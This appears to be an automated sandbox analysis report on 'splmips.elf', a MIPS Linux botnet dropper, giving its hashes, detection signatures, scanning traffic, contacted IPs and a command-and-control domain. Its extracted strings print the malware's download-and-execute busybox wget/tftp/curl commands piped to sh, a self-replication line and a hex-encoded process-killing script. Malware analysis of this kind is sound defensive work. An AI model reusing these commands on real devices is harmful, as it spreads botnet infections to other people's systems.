Linux Analysis Report
splmips.elf

Overview

General Information

Sample name: splmips.elf
Analysis ID: 1543102
MD5: 50b4f44bce9a4b1aca4384e9df896cb0
SHA1: 4077eb0e8eed79735fffa3f3041deaa3912bcd73
SHA256: 3483d3a052a38fe0b500db2dda959846002059151e8d9c86a6789f3f9f0a138f
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: splmips.elf ReversingLabs: Detection: 52%
Source: splmips.elf Virustotal: Detection: 36% Perma Link
Found strings indicative of a multi-platform dropper
Source: splmips.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:49416 -> 45.156.86.24:38241
Sample listens on a socket
Source: /tmp/splmips.elf (PID: 5507) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 150.244.155.217
Source: unknown TCP traffic detected without corresponding DNS query: 50.23.124.224
Source: unknown TCP traffic detected without corresponding DNS query: 150.244.155.217
Source: unknown TCP traffic detected without corresponding DNS query: 50.23.124.224
Source: unknown TCP traffic detected without corresponding DNS query: 166.181.89.10
Source: unknown TCP traffic detected without corresponding DNS query: 144.21.3.103
Source: unknown TCP traffic detected without corresponding DNS query: 166.181.89.10
Source: unknown TCP traffic detected without corresponding DNS query: 74.65.106.16
Source: unknown TCP traffic detected without corresponding DNS query: 75.162.124.197
Source: unknown TCP traffic detected without corresponding DNS query: 144.21.3.103
Source: unknown TCP traffic detected without corresponding DNS query: 74.65.106.16
Source: unknown TCP traffic detected without corresponding DNS query: 217.227.87.108
Source: unknown TCP traffic detected without corresponding DNS query: 75.162.124.197
Source: unknown TCP traffic detected without corresponding DNS query: 168.208.248.167
Source: unknown TCP traffic detected without corresponding DNS query: 217.227.87.108
Source: unknown TCP traffic detected without corresponding DNS query: 131.196.196.159
Source: unknown TCP traffic detected without corresponding DNS query: 168.208.248.167
Source: unknown TCP traffic detected without corresponding DNS query: 15.49.206.221
Source: unknown TCP traffic detected without corresponding DNS query: 131.196.196.159
Source: unknown TCP traffic detected without corresponding DNS query: 69.159.165.151
Source: unknown TCP traffic detected without corresponding DNS query: 15.49.206.221
Source: unknown TCP traffic detected without corresponding DNS query: 57.64.173.93
Source: unknown TCP traffic detected without corresponding DNS query: 69.159.165.151
Source: unknown TCP traffic detected without corresponding DNS query: 78.14.115.234
Source: unknown TCP traffic detected without corresponding DNS query: 57.64.173.93
Source: unknown TCP traffic detected without corresponding DNS query: 223.211.18.197
Source: unknown TCP traffic detected without corresponding DNS query: 78.14.115.234
Source: unknown TCP traffic detected without corresponding DNS query: 223.211.18.197
Source: unknown TCP traffic detected without corresponding DNS query: 156.77.31.122
Source: unknown TCP traffic detected without corresponding DNS query: 7.152.168.68
Source: unknown TCP traffic detected without corresponding DNS query: 171.99.76.63
Source: unknown TCP traffic detected without corresponding DNS query: 156.77.31.122
Source: unknown TCP traffic detected without corresponding DNS query: 7.152.168.68
Source: unknown TCP traffic detected without corresponding DNS query: 145.168.219.75
Source: unknown TCP traffic detected without corresponding DNS query: 171.99.76.63
Source: unknown TCP traffic detected without corresponding DNS query: 197.84.205.203
Source: unknown TCP traffic detected without corresponding DNS query: 145.168.219.75
Source: unknown TCP traffic detected without corresponding DNS query: 182.28.166.142
Source: unknown TCP traffic detected without corresponding DNS query: 197.84.205.203
Source: unknown TCP traffic detected without corresponding DNS query: 17.85.102.9
Source: unknown TCP traffic detected without corresponding DNS query: 182.28.166.142
Source: unknown TCP traffic detected without corresponding DNS query: 147.66.247.252
Source: unknown TCP traffic detected without corresponding DNS query: 184.39.74.83
Source: unknown TCP traffic detected without corresponding DNS query: 17.85.102.9
Source: unknown TCP traffic detected without corresponding DNS query: 165.148.202.41
Source: unknown TCP traffic detected without corresponding DNS query: 147.66.247.252
Source: unknown TCP traffic detected without corresponding DNS query: 41.142.52.115
Source: unknown TCP traffic detected without corresponding DNS query: 184.39.74.83
Source: unknown TCP traffic detected without corresponding DNS query: 165.148.202.41
Source: unknown TCP traffic detected without corresponding DNS query: 177.114.48.100
Source: global traffic DNS traffic detected: DNS query: netfags.geek
Source: splmips.elf String found in binary or memory: http:///curl.sh
Source: splmips.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal52.troj.linELF@0/66@1/0
Enumerates processes within the "proc" file system
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5593/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5593/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5540/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5540/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5530/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5530/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5541/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5541/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5531/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5531/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5542/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5542/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5532/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5532/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5533/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5533/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5534/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5534/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5535/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5535/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5536/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5536/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5537/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5537/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5527/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5527/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5538/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5538/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5528/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5528/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5539/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5539/cmdline Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5529/maps Jump to behavior
Source: /tmp/splmips.elf (PID: 5513) File opened: /proc/5529/cmdline Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/splmips.elf (PID: 5507) Queries kernel information via 'uname': Jump to behavior
Source: splmips.elf, 5507.1.000055f16ce77000.000055f16cefe000.rw-.sdmp, splmips.elf, 5511.1.000055f16ce77000.000055f16cefe000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: splmips.elf, 5507.1.000055f16ce77000.000055f16cefe000.rw-.sdmp, splmips.elf, 5511.1.000055f16ce77000.000055f16cefe000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: splmips.elf, 5507.1.00007ffc16c28000.00007ffc16c49000.rw-.sdmp, splmips.elf, 5511.1.00007ffc16c28000.00007ffc16c49000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
Source: splmips.elf, 5507.1.00007ffc16c28000.00007ffc16c49000.rw-.sdmp, splmips.elf, 5511.1.00007ffc16c28000.00007ffc16c49000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/splmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splmips.elf

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
209.38.166.112
 unknown United States
7018 ATT-INTERNET4US false
197.174.174.84
 unknown South Africa
37168 CELL-CZA false
55.219.145.236
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
206.53.47.184
 unknown United States
18969 KLC-AS-1US false
45.66.237.142
 unknown Romania
48095 XTGLOBALRO false
105.108.119.211
 unknown Algeria
36947 ALGTEL-ASDZ false
170.194.214.97
 unknown United States
30337 DELOITTE-US-ASNUS false
113.185.196.31
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
99.183.136.70
 unknown United States
7018 ATT-INTERNET4US false
151.70.127.221
 unknown Italy
1267 ASN-WINDTREIUNETEU false
183.248.189.241
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
71.145.32.162
 unknown United States
7018 ATT-INTERNET4US false
173.95.207.188
 unknown United States
11426 TWC-11426-CAROLINASUS false
48.245.221.83
 unknown United States
2686 ATGS-MMD-ASUS false
93.235.6.211
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
178.182.168.254
 unknown Poland
12912 TMPL false
108.143.220.205
 unknown United States
16509 AMAZON-02US false
79.214.199.26
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
14.245.58.121
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
109.146.98.212
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
67.68.142.235
 unknown Canada
577 BACOMCA false
147.80.156.112
 unknown United States
1761 TDIR-CAPNETUS false
196.186.132.68
 unknown Tunisia
5438 ATI-TN false
114.202.122.49
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
91.206.85.152
 unknown United Kingdom
42160 LCPDCOLCPASdcoostkampBE false
12.94.63.22
 unknown United States
7018 ATT-INTERNET4US false
73.94.1.143
 unknown United States
7922 COMCAST-7922US false
14.81.152.115
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
139.44.213.124
 unknown Australia
9905 LINKNET-ID-APLinknetASNID false
67.41.147.202
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
96.51.49.166
 unknown Canada
6327 SHAWCA false
133.73.119.79
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
55.170.97.229
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
36.241.188.0
 unknown Japan 37903 EMOBILEYmobileCorporationJP false
156.81.35.229
 unknown United States
393649 BOOZ-AS2US false
123.175.114.107
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
200.71.243.189
 unknown Venezuela
27717 CorporacionDigitelCAVE false
122.222.44.194
 unknown Japan 2519 VECTANTARTERIANetworksCorporationJP false
9.142.224.140
 unknown United States
3356 LEVEL3US false
11.36.25.7
 unknown United States
3356 LEVEL3US false
76.134.86.38
 unknown United States
7922 COMCAST-7922US false
165.126.239.58
 unknown United States
103 NWU-ASUS false
171.39.252.172
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
70.173.5.212
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
48.71.229.98
 unknown United States
2686 ATGS-MMD-ASUS false
136.129.21.121
 unknown United States
60311 ONEFMCH false
137.50.180.57
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
37.0.186.197
 unknown Sweden
1257 TELE2EU false
178.113.139.110
 unknown Austria
25255 H3G-AUSTRIA-ASTELE2AUSTRIAAT false
188.127.78.106
 unknown United Kingdom
35575 VAIONIGB false
123.90.234.156
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
223.60.188.255
 unknown Korea Republic of
9644 SKTELECOM-NET-ASSKTelecomKR false
41.211.111.201
 unknown Cameroon
36955 Matrix-ASN1CM false
222.244.139.36
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
12.135.225.64
 unknown United States
7018 ATT-INTERNET4US false
96.237.227.181
 unknown United States
701 UUNETUS false
112.229.143.34
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
84.185.233.201
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
16.59.251.22
 unknown United States
unknown unknown false
94.16.168.101
 unknown Switzerland
15600 FINECOMQuicklineAGCH false
173.178.201.137
 unknown Canada
5769 VIDEOTRONCA false
143.235.44.83
 unknown United States
3128 BRUWS-AS3128US false
105.218.190.247
 unknown South Africa
16637 MTNNS-ASZA false
61.206.251.73
 unknown Japan 9997 MECHASuzukaCableCoLtdJP false
154.40.28.166
 unknown United States
174 COGENT-174US false
222.6.213.224
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
35.86.203.162
 unknown United States
237 MERIT-AS-14US false
174.114.93.121
 unknown Canada
812 ROGERS-COMMUNICATIONSCA false
60.152.204.63
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
194.117.223.223
 unknown France
8784 AS8784ManagedServicesProviderFR false
133.37.96.62
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
219.227.92.235
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
27.31.66.181
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
29.64.105.66
 unknown United States
7922 COMCAST-7922US false
187.181.185.72
 unknown Brazil
28573 CLAROSABR false
23.61.53.245
 unknown United States
16625 AKAMAI-ASUS false
63.221.22.192
 unknown United States
3491 BTN-ASNUS false
176.103.177.113
 unknown Latvia
24589 TELENETSIA-ASTelenetAUT-NUMpeeringspecificationobject false
109.206.204.149
 unknown Poland
41966 SKYNETPL false
147.13.131.22
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
92.21.238.212
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
75.17.93.151
 unknown United States
7018 ATT-INTERNET4US false
53.46.203.174
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
70.119.136.9
 unknown United States
11427 TWC-11427-TEXASUS false
136.97.147.23
 unknown United States
60311 ONEFMCH false
175.194.40.88
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
125.42.59.90
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
100.173.89.69
 unknown United States
21928 T-MOBILE-AS21928US false
4.210.118.18
 unknown United States
3356 LEVEL3US false
52.241.204.51
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
194.82.57.61
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
133.156.87.182
 unknown Japan 38634 DWANGODWANGOCoLtdJP false
210.203.175.137
 unknown Thailand
4776 ANET-TH-APA-NetCoLtdTH false
64.119.143.185
 unknown United States
19406 TWRS-MAUS false
53.151.52.144
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
175.14.219.169
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
76.86.249.59
 unknown United States
20001 TWC-20001-PACWESTUS false
58.7.228.165
 unknown Australia
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
25.66.5.101
 unknown United Kingdom
7922 COMCAST-7922US false
94.26.13.232
 unknown Bulgaria
204281 NETX_BG false

Contacted Domains

Name IP Active
netfags.geek 45.156.86.24 true